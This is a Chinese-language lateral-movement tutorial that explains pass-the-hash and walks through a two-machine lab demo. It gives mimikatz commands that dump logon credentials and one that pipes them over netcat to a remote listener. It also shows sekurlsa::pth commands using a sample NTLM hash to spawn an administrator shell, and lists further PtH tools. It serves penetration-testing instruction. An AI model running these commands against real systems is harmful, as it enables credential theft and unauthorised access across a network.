pass the hash原理

在Windows系统中,通常会使用NTLM身份认证,NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser) ,其中hash(哈希)分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。

从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash,如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)

pth如何利用

演示:

靶机:win08 r2

攻击:win08 r2

1.靶机中进行读取NTLM HASH:

域渗透:pth(pass the hash)-LMLPHP

这里使用mimikatz还有些技巧如:

1、以日志文件生成保存在当前文件夹中log.txt 并且再列出目录

mimikatz.exe ""privilege::debug"" ""log sekurlsa::logonpasswords full"" exit && dir

2、自定义保存在log.txt中

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt

3、将输出传输到远程机器:

攻击者:nc nc -lvp 4444
受害者:mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit | nc.exe -vv 192.168.52.1 4444

2.攻击机执行:

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0"

域渗透:pth(pass the hash)-LMLPHP

会反弹一个cmd窗口回来 发现hash成功传递!!!

同样也可以直接执行命令mimikatz.exe privilege::debug "sekurlsa::pth /user:administrator /domain:top.pentest.top /ntlm:044dfa0c35b979ed369f7335b5ea20e0 /run:\"cmd /c whoami\"" exit

域渗透:pth(pass the hash)-LMLPHP

技巧::NTLM Hash = LM Hash + NT Hash,LM Hash是E19CCF75EE54E06B06A5907AF13CEF42时,可能密码为空或者没有存储LM hash,2008默认不存储LM hash。pth 用nt hash,有些工具可能需要lm hash:nthash格式,没有lm hash可以使用任意32个字符填充,所以我们可以这样进行00000000000000000000000000000000:E19CCF75EE54E06B06A5907AF13CEF42,只要前32位存在就行

pth总结:

在内网渗透中,当我们能够读取ntlm,但是发现抓取不到明文的时候,可以通过hash传递的方式进行横向移动。

对于哈希传递不只是通过mimikatz,还可以通过wce,impacket工具包等等进行攻击。

能够实现Pass The Hash的工具:

Smbmap
CrackMapExec
Smbexec
Metasploit(exploit/windows/smb/psexec_psh )
wmiexec
Invoke-WMIExec
Invoke-SMBExec
mimikatz(Overpass-the-hash)
05-28 04:01